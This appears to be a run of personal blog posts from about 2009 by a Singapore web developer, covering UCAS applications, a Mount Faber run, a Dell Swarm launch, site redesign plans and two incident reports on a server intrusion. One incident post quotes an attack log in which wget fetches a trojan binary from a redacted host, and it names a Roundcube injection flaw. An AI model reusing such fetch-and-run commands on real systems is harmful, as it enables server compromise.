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Guide for applying to UK universities via UCAS for polytechnic students – Part 1 (Personal details, choices and education)

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After my successful application as an international student from Singapore via UCAS (guess many found their way here from a dated blog post), I’ve been receiving quite a number of questions about the application process, particular for non-mainstream poly students like myself. I have written a small guide condensed from the replies I’ve given out, going section by section as from the 2008 application year.

This guide follows closely the 6 structured sections applicants will have to go through in their UCAS application and can be completed in any order. Moreover, though this article may cater more to Polytechnic students, it is rather general in nature and can apply to anyone applying via the mainstream route on UCAS. Read on more with my more of my pointers, tips and hints highlighted from my application.

The first section, your personal details:

1. Personal details
Filling out your details here rather straight forward, it’s mostly all your personal particulars, with some additional fields of question (and what I have filled in place to confirm with your own)

Area of permanent residence: Singapore
Residential category: O Other
Unique Learner Number: Nil

Student support
Fee code: 09 Overseas Agency (Note I chose this as I was offered sponsorship for fees)
Student support arrangements: Nil

There is one field however, called nominated access, which requires the full name of nominee as well as his or her relationship to you as an applicant. Nominated access is put anyone, who can be a parent/guardian/acquaintance you nominate who will be able to talk to UCAS on your behalf about your application, it’s not compulsory and is not in anyway to be confused as the reference.You can leave this field blank if you do not have one, I did.

In addition to your personal details, some universities may thereafter send you additional form to fill out after you’ve submitted your UCAS application, requesting more details such as the particulars and job of your parents and siblings if do, this is so for a financial guarantee which some universities may offer as conditions to offer as an applicant.

2. Choices
This section is where you specify all your desired major as offered by your chosen college. You first have to specify the university and additional detail fields will follow:

Campus: Specified if your university has colleges to chose from (e.g in Oxbridge)
Live at home?: Usually it is “No”, this only indicates that you intend to use college dormitory facilities, there is no harm indicating “No” here first unless you already intend to live in a home or rented property already residing in UK, but you can always make arrangements with your college when the term starts.
Start date: October 2009 is the usual start date for normal point of entry
Deferred entry?: No, unless if you intend to take a year out and start your term the following year. This is in particular for guys in Singapore still serving NS and are applying one year before their intended year of study.
Further details: Usually can be left blank, otherwise, do specify other needs such a visual impairment, mature student or otherwise areas of need not covered in the disabled needs section.
Point of entry: This is only for if you are about to do the second or final year of the same course but at another university. Usually you should leave this blank, otherwise, do specify 1, 2, or 3 in the box which would denote the year you are starting the course.

In my application, I used 3 choices in total, but I believe you are only offered 5 choices, so do make the best of what you’ve offered. UCAS will charge an additional application fee if you intend to have more than 5 choices. But remember it’s the quality and not quantity which matters!

3. Education
For my year of application, there were actually no options for application for Polytechnic, let be JC, you specify your education details under the “education section”, so it’s kinda general in nature. Under this section, you will be faced with a javascript drop down menu to choose your school/college after selecting your country, only after you’ve done your first step where the form will expand with more options.

For me, in my application, the option available was (together with a list of all the polys in Singapore as well):

SINGAPORE POLYTECHNIC, SINGAPORE (05/2005 – 05/2008, FT)
Singapore-Polytechnic Diploma (For me, this was the option available, along with the JCs in our region as well)

If so say UCAS had updated the school selection part for that year you are applying, and there are no such options for application, the other will be to choose unconventional qualifications (others), such as the international barculate (IB) option (or alternative). However, I believe it should still be the same as what I mentioned previously above.

After selecting your school, for that school you will be provided an option to “add subject/modules” with actually requires you to add each polytechnic module as a subject you’ve studied. It’s quite a painstalking process having to key in each module info one by one on the system, what I can recommend is to have access to your polytechnic student admin system (we call it SAS in SP, if its still called the student admin system) open it by your side, navigate to your past exam result archive. There, copy the subject module names text which are already pre-typed and paste them into Microsoft word, where you can format the text with the right caps before pasting them into the fields required, what should be needed is the module name, year/date taken so it can be like 05/2009 for may 2009, followed by your grade. Once done, a line may look like that:

ENGINEERING THERMODYNAMICS (MM3405) 09/2007 A

Remember to save regularly.

Once done, go ahead and fill in your other educational details up to secondary school level, this is important as your GCE ‘O’ level English result will free you the need to take English proficiency programs/tests (e.g IELTS, TOFEL) which are prerequisites prior to enrollment, you may need to take to support your application and/or taken as part of a foundation on your first year of your accepting college.

Next I will go on an cover the other remaining parts of the UCAS application process, such as your dreaded personal statement and reference.

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Mizuno Mount Faber Run, 14 Jun 2009

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In the third year running, the highly successful Mizuno Mount Faber Run is back again, taking runners through the sights of the southern hills of Singapore.

Mt Faber 2009 Route Map

Race Details

Venue: Open carpark space between Block 121 & 123 Bukit Merah View
(There will be multiple tents erected in the carpark itself)
Distance: 10km
Race Start Time: 0730hrs
(No reporting needed, just arrive on time with Bib)
Registration Closing Date: 24rd May 2009

Getting There
Based as of previous year events, baggage deposit is provided for all runners at the surrounding HDB void decks near the event main tent.
Otherwise you can leave your bags in your vehicles (if you are driving), there are ample HDB parking lots around the area.
Nearest MRT station: Tiong bahru (head into the mature HDB estate opposite Tiong bahru park)
Buses: 961, 855, 197, 147, 14, 196 (From Jalan Bukit Merah)

Race Route (See map image above)
Distance about 10km, but with relief feats. Similar to last year’s race:

  • Henderson road up skipping the industrial distripark, across the AYE towards Pasir Panjang road, then turning up the Mt Faber hill from Pender Road.
  • Passing round the route through Mount Faber landmarks such as the cable car station and comm tower.
  • Down Mt Faber from Faber lodge towards CHIJ at Bukit Purmei towards Tiong Bahru park, then Delta House before circling Gan Eng Seng School and back up to Henderson road for the finish.
Race Categories ($35 all categories)

  • Men Open
  • Women Open
  • Men Veteran
  • Women Veteran

For the purpose of age verification, the age of competitors shall be taken as of 1 January 2009.

Corporate Registration
For corporate registration (20 participants & above), please email to mizunomfrun@vgocorp.com

Modes of Registration

1. Online registration
You can register online. Registration page.
Online credit card payment (only VISA or MasterCard) is accepted.

Online only, World of Sports & PAssion card members’ Promotion!

  • First 500 World of Sports or PAssion card members will receive a FREE pair of Mizuno running socks (worth $8.90) on the Race Pack Collection Day.
  • Indicate and key in your World of Sports or PAssion card number during your registration.
  • A separate email will be sent to you 1 week before the Race Pack Collection Day.
  • Present your confirmation slip, promo email, together with your World of Sports or PAssion card on the Race Pack Collection Day

2. In person, walk-in registration venues:

  • Mizuno VivoCity #02-16 Tel: 6377 0261
  • World of Sports AMK Hub #B2-14 Tel: 6752 4267
  • World of Sports Jurong Point #02-29 Tel: 6792 0547
  • World of Sports Tampines 1 #03-14/15 Tel: 6786 6705
  • World of Sports Paragon #04-29/30 Tel: 6735 4187
  • World of Sports Velocity @ Novena Square #02-69/72 Tel: 6259 9656

3. Registration forms are also available at the selected community centres:

  • Henderson Community Centre
  • Cairnhill Community Centre
  • Radin Mas Community Centre
  • Bukit Merah Community Centre
  • Queenstown Community Centre
  • Leng Kee Community Centre
  • Tanjong Pagar Community Centre
  • Tiong Bahru Community Centre
  • Tanglin Community Centre
  • Pek Kio Community Centre
Race Pack Collection
Date: 6 & 7 June 2009
Venue: Velocity @ Novena Square, Atrium
Time: 10am to 8pm
Participants are reminded to present receipt and I/C on the Race Pack Collection Day.

To appoint your relatives, friends or representatives in Singapore to collect the race pack on your behalf, please click here to download the Authorisation form.

Authorisation form must be presented on the Race Pack Collection Day.

Race Pack contents:

  • Running Tee
  • Runner’s Tag
  • iTag for Electronic Timing
  • Mizuno Waist Pouch (worth $29.90)
  • Mizuno Limited Edition Running Singlet (worth $32.90)
  • Lucky Draw Entry
  • 30% Discount on Mizuno regular-priced merchandise

Excludes selected nett priced items. Other terms & conditions apply.

Launch of Dell Swarm

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Due to be launched on the 5th of May and the first of it’s kind in the world, Dell Swarm by Intel and Dell is an online ordering portal targeted at students and value hunters alike. So it works like a mass order system we usually see taking “lobangs”, only that this time, you are dealing the lobang directly with the supplier. You start by picking the laptop you would like to purchase, which is the “Buy” part, so you are the first buyer to join a Swarm and you’ll enjoy a price lower than dell.com.sg’s best discounted price (after cash rebates). So say your starting price is $899 SGD. You enter and the price drops so $854 SGD.

Dell swarm 2009 site main page
Dell swarm 2009 site main page
The swarm page
The swarm page
Keep in touch with social networking or SMS
Keep in touch with social networking or SMS

Here comes the good part, for every member you comes in and joins your “swarm” you will get a lower price for every member which comes in, so say after 8 members joined your swarm, the prices drops to $809 SGD. To reach the maximum discount, you can grow the Swarm by Sharing with your friends through social networking sites and functions, such as facbook, tweeter, etc.

When you’re ready to join the Swarm, click on the Buy button, register and the website will contact you once the Swarm ends and the price is finalised. This happens once the limit of 15 buyers or 72 hours is reached.

For users not ready to buy yet. You won’t be left out either with a range of monitoring services available, you can also choose to follow your choosen Swarm through updates via email and SMS.

To test drive the site, visit http://dellswarm.com/sg/ and log in with the following information (Prices shown in beta site are placeholders only.)

Username: dellswarm
Password: buysharesave

Read more about the new spanking new website on the click:

Site revamp progress, right on track

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Shaunchng.com site revamp design 2009

Well, progress on the site revamp is rather fruitful. It started with a rather tough fight to get div containers to go fluid on percent values for a 3 column layout, fixed width divs are more predictable over a range of browsers, so I am still contemplating whether to allow the fluid width option for content. Nevertheless I am quite happy with how the site is coming up so far. Though the site looks very similar to the current one, I can say that the codes are 50% leaner, is world wide web consortium xhtml 1.0 and CCS compliant and can easily load just as fast, the best of all, there are no tables in sight now! Now it’s just a matter of fixing PNG transparencies on IE6, which most users still browse with.

The design is almost 100% finalized but that is just it. Now it’s a matter of upgrading some of my code and content throughout the site, thereafter, it’s quite alot of coding for the upgraded shoutbox, so there is quite alot to do. A cool new feature on the site is that since it’s running off a single stylesheet at any given time, I can get it to automatically load a new one whenever there’s like an occasion, say Christmas, New year’s day, National day, Friday the 13th, Halloween, Earth Hour, etc duh. So it can be rather interesting to check out the site on these days.

This new design has it’s primary focus on the user, so there will be lots of accessibility enhancements such as AJAX search, dbx-boxes, font adjustments and readability. The site’s main font size will be increased as well, to Arial 12px. The blog will be running on the latest version of wordpress and gallery. Though I have yet to get used to the new admin layouts on my test environment, I still prefer the old wordpress top admin bar.

More updates to come.

Classifieds impersonations!

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I’ve been receiving quite a few emails asking about my “Ad” on few popular online classifieds sites, such as 88db. Which left really really puzzled as I do not feature my freelance services anywhere else on the internet other than my portfolio pages on this website. So I went about a search on the net and found ads placed on those sites and written in a way that I’ve posted it. Oh my god, impersonations!

Whats more the adverts and classifieds postings also feature images and photos ripped from this site as well. A little bit of post-mortem suggests that the list of services listed came in a very reassuring format presumably lifted from my namecards. So I guess it could be added from an acquaintance from my networking sessions.

Though I never accepted any jobs from such sources and personally, I have nothing against those people who post these ads. But what I fear are the exploits which could result from this- anyone can steal your work and claim it theirs, which could be rather worrying. After all, there is no safeproof method to copyright your work and often watermarks and text can all be lifted and altered without consent.

So, I guess the best rule is of course not to post anything online that you can’t afford to lose that is.

Followup of the hacking situation

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Server Rack

Am updating all scripts on my servers as I type along in this blog post, there is quite much updating to go, I guess I just sneak an update here. After much investigation of the previous hacking attempt in my last blog post, it seems that the DoS problem narrows down to a vulnerability in the roundcube webmail program, so if you have that running on versions before 0.2.1, please do an update.

In layman’s terms, what the hackers did is to exploit a code injection vulnerability in Roundcube towards Apache which causes it to eat up so much resources that it forces Apache run a safety shutdown to terminate the script, thus explaining those sudden SIGTERM disabling all your server’s webservice. But once that happens, it will unable to start itself up again as a Apache is “still” running the service and using the ports, thus resulting in a denial of service.

I’ve updated all my servers and did a full rootkit scan, currently all is running fine and A-OK. (Keeps fingers crossed). Oh yes, do note that roundcube-0.2 requires PHP 5 to run.

I guess, the cool thing about being your system administrator is that you get you get to learn all kinds of shit which comes thrown at your server.

Mmm don’t know should I try to install PHP 6 on my development server, I am sooo liking their new date functions.

ShaunChng.com servers hacked

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Sorry for the 1 hour downtime last night from 12:30am to about 1:30am (Singapore time). The site is up and functional now. I jumped when I got a downtime message from my servers, strange, the server can be reached and pinged, so not a hardware or network problem, but my website cannot be reached. A short search later led me to finding Apache stopped and unable to restart automatically. After viewing my logs, it seems that my server was issued a SIGTERM to terminate Apache, possibility hacked with a Trojan:

A snippet of the logs:

--08:07:28-- http://[some ip]/barbut
Connecting to [some ip]:80... barbut: no process killed
brb: no process killed
barbutLinux: no process killed
--08:07:28-- http://[some ip]/barbut
Connecting to [some ip]... barbut: no process killed
brb: no process killed
barbutLinux: no process killed
--08:07:28-- http://[some ip]/barbut
Connecting to [some ip]... connected.
HTTP request sent, awaiting response... connected.
HTTP request sent, awaiting response... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35336 (35K) [text/plain]
Saving to: `barbut'
0K .200 OK
Length: 35336 (35K) [text/plain]
Saving to: `barbut.1'
0K ................ ........... .......... .......... .... 100% 54.5K=0.6s
08:08:33 (54.5 KB/s) - `barbut' saved [35336/35336]
chmod: cannot access `barbut': No such file or directory
sh: ./barbut: No such file or directory

This is like 1 of the 10 trys this hacker from Germany tried to spam my servers with. These bastards seem to trick the server to killing my processes and downloading a Trojan called Kaiten. But based on what I see in the logs, they are unable to run it. Think setting all downloaded files unable to execute in the temp folder was a good choice.

So it’s very much a DDoS attack. It managed to get a service to run under the “apache” username which blocked the ports required by Apache itself. I managed to find the pesky process blocking port 80, killed it, restarted Apache successfully and changed all my passwords. I am puzzled if the file was not run, then how the file managed to kill Apache in the first place.

So if you try to run Apache, you get an error with this message:

httpd start 2>&1

for a quick fix to the solution, what you can do is to find the pesky service running by entering the following command as root

ps -aux

Carefully look through all the processes for suspicious ones. Then kill the process using the process id listed by it’s side XXXX
kill -9 XXXX

Then restart Apache
/sbin/service httpd restart

The next thing is to do a complete scan of your server for any residual files lurking. Who knows what could be installed with the Trojan, I will be damned how they got in the first place. Now I have to consider whether to reload all my backups and do a fresh install of the OS on the infected servers.

Mmmm, I guess say the wise saying goes “No server is unhackable”, but I think with every such incident, you just get stronger every time you combat them.

Update: Updated post and removed the hacker’s IP to prevent it from getting indexed here.

Site upgrade planned in next month

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Always wanted to get a site revamp up since last year, but just do not have the time and commitment to do so. I guess I has been more busy creating and building websites for my clients that I think that I am starting to neglect this very site. Bummer.

Furthermore, in the age of code compliance, web 2.0 shit obsession, this design conceived around 2001 is starting to show it’s age, still spotting tables and hard-coded styles which can send any other webmaster snickering in the darkness. I guess I am not doing justice for the site I call my own.

This revamp to design 12.5 version v1.0 will “grow” up abit, but still retain much of the site’s look, colour and layout, but will spot a more clean and user-friendly backend. It will be less database intensive despite the increased number of functions, sounds along the pitch of “increased horsepower with lesser emissions?”, maybe, to auto manufacturers.

Maybe the difference is that I ain’t needing any bailout here. With the jokes aside, this upgrade/revamp will also mark a new start in my life as well. This old design was for my transition from secondary to JC/Army/Poly, this new design will be dedicated for my time in college and doing my masters. Now, only to get it all coded by the end of next month.

The updates, as planned.

User orientated and accessibility features

  • User customizable module layout (planned)
  • 3 levels of user defined site-wide font setting (currently only on the blog)
  • Fixed or fluid site width
  • All settings and user fields are saved for all site components (avatars, comments and shoutbox)

Code improvements for faster page loading

  • Full table-less CSS driven site
  • Condensation of all JS files (currently about 5) into one
  • Condensation of all CSS files (currently about 3-4) to one
  • iframe-less div scrollable shoutbox
  • Re-writing and cutting down on queries of certain functions
  • New backend integration and facility for article, tutorial management

The ability to have a single CSS file will simply many of the wants I always wanted for the site, such as the ability to change the site colours on the fly by loading in another CSS file, currently most of the styles are hardcoded in the template, so that will be quite a pain to change. Now I can get the site to automatically say load a white look for the site for Christmas, a black one for Halloween and say maybe a red-white one for national and on!

Furthermore, much of the site content will be revamped I find few sections of the site quite irrelevant on the site now, considering these had been here since the site started. This also catered to the needs of my users and backed using statistical evidence on popular pages. Those getting the hook will be the photo galleries as well as the links section:

Site content re-arrangement

  • Expansion of about and portfolio sections
  • New “column” page for articles
  • Addition of apparel store
  • Removal of photo galleries (who visits them anyway haha)
  • Removal of links section
  • Various re-organization of content for SEO

Same as always, the site will always be Ad-free! (who likes ads anyway).

Singapore is a “fine” city, of course, aren’t you proud of it?

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It’s ain’t no april fool’s joke, but hey Singapore does have a reputation of a fine city. And what better way to see it through the eyes of a rather chatty taxi driver.

Though I think the expats have not really seen much of Singapore to make any firm creditability from their remarks, I guess Singapore will still be a stack contrast to the other countries in the neighborhood. More on the click:

Here is an excerpt of the author of the short film:

This film is part of a multi-episode series over the course of a year…of students abroad…of crazy experiences…about life…and about China’s journey into the future…I made this just for fun…also as a fond tribute of my memories in the last year of college (2007-2008).

Singapore:
We arrive in Singapore. Where nocturnal humans sex it out in our hostel, where interesting people take us around, and where we have a night safari.

This is my almost real-time almost-no-budget 365 Day Journey in China, leading up to the Beijing 2008 Olympics. I am a film student from the world’s best film school – The University of Southern California, School of Cinema and Television in the United States.

Remember to flick the switch on earth day, tomorrow

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Vote Earth! On Saturday 28 March 2009 8:30PM local time, wherever you live on planet earth, your light switch is your vote to climate change.

Vote Earth Switch Shepard Fairey

This year, Earth Hour has been transformed into the world’s first global election, between Earth and global warming.

For the first time in history, people of all ages, nationalities, race and background have the opportunity to use their light switch as their vote – Switching off your lights is a vote for Earth, or leaving them on is a vote for global warming. WWF are urging the world to VOTE EARTH and reach the target of 1 billion votes, which will be presented to world leaders at the Global Climate Change Conference in Copenhagen 2009.

This meeting will determine official government policies to take action against global warming, which will replace the Kyoto Protocol. It is the chance for the people of the world to make their voice heard.

Earth Hour began in Sydney in 2007, when 2.2 million homes and businesses switched off their lights for one hour. In 2008 the message had grown into a global sustainability movement, with 50 million people switching off their lights. Global landmarks such as the Golden Gate Bridge in San Francisco, Rome’s Colosseum, the Sydney Opera House and the Coca Cola billboard in Times Square all stood in darkness.

In 2009, Earth Hour is being taken to the next level, with the goal of 1 billion people switching off their lights as part of a global vote. Unlike any election in history, it is not about what country you’re from, but instead, what planet you’re from. VOTE EARTH is a global call to action for every individual, every business, and every community. A call to stand up and take control over the future of our planet. Over 74 countries and territories have pledged their support to VOTE EARTH during Earth Hour 2009, and this number is growing everyday.

We all have a vote, and every single vote counts. Together we can take control of the future of our planet, for future generations.

VOTE EARTH by simply switching off your lights for one hour, and join the world for Earth Hour. Saturday, March 28, 8:30-9:30pm.

It’s the 25th of March and Shaun turns 25 today!

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The 25th of march is always a cool day for me, haha, but this year it’s much more special as this 25th is my 25th birthday, the magical 2 numbers and I am 25 years young! A year young, a year wiser as well!

Number 25 Shaun's Birthday

For me, it’s a rest day today, work is non-existent today (bahahahawith). Gotta chill out today, was told to be prepared for some party with foodies for the night, not to mention cake! whee looking forward to that!

Last but not least, thanks all who sent in your birthday greetings and wishes, whether it’s greetings in person, greeting cards (physical and digital) or through SMS (those sent right on last midnight were scary) and shouts on facebook, it’s always the thought that matters. You all rock! Cheers!

Networking site restraints and blogging compel-lance

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It had been sometime since I last wrote an entry in here. I am starting to think that maybe Facebook or Twitter may be taking over the possible hassle of blogs. But I do not think we will see the death of the blog, particularly this one as well. You may see me more relatively active on Facebook now, as I personally find it quite a neat way to keep in touch with your friends on the masses when abroad or those who do not read my blog without the need of personal emails which might give the wrong intentions otherwise.

Foxtrot Twitter Joke

Services like twitter are cool, though I do not use them personally despite pressure from many for me to join, I think such services are just there to satisfy the exhibitionism need of the modern wired generation. So as as shred web developer I worked with once told me: “There was Friendster, Myspace, Youtube, Multiply, now Facebook, you can’t go wrong satisfying the age of exhibitionism now on the web”. And that seems to be true, with an explosion of social networking sites saturating the web like never seen before, came the first Facebook elections, opposition online campaigns in Malaysia to various online scandals in China we see today.

Like it or not, with so much power to reach out the masses on the net now comes great responsibility- one must practice restraint. I once read chirpily on an article on the Straits Times on people who tweet or use the notorious “what are you doing now” field on Facebook as if they’ve hard wired their chain of thought right into the internet- everything from brushing your teeth in the morning to even voicing opinions or secrets that may possibility sow discord among people.

I was once asked in an interview about the compel-lance of one to blog or voice out to the world, just like you know, whether do bloggers for example see blogging as an activity only when there is a time for it or one which have to be fueled like feeding an addiction. I guess it all boils down to restraint.

Restraint is a skill I guess needs to be nurtured not only to protect the privacy of others but yours as well including your rights. Technologically wise, it’s just to easy to snap and upload any content instantly. Psychologically-wise, I guess there is still much work to be done. I recalled being asked on razor TV once on the need of self-moderation as a blogger, personally I guess it just boils down to the nature and the stand of your blog and intended audiences and your ability to handle the consequences beyond your actions. So say, if you are writing a political blog, so be it only if you can make your stand, justify them accordingly and prepare for the flak which follows. The same goes for blogs of other nature such as those requiring critique or reviews. The funny thing is that words are mighty as it is and interpretations only lie in the eyes of the interpreter. Taking Obama’s latest remark on the Jay Leno show few days ago, obviously he wasn’t making a direct comparison of his bowling score with the special Olympics, but many do not think otherwise.

Just as the saying goes “empty vessels make the loudest noise”. I ponder whether such sayings are very much applicable on the internet age now.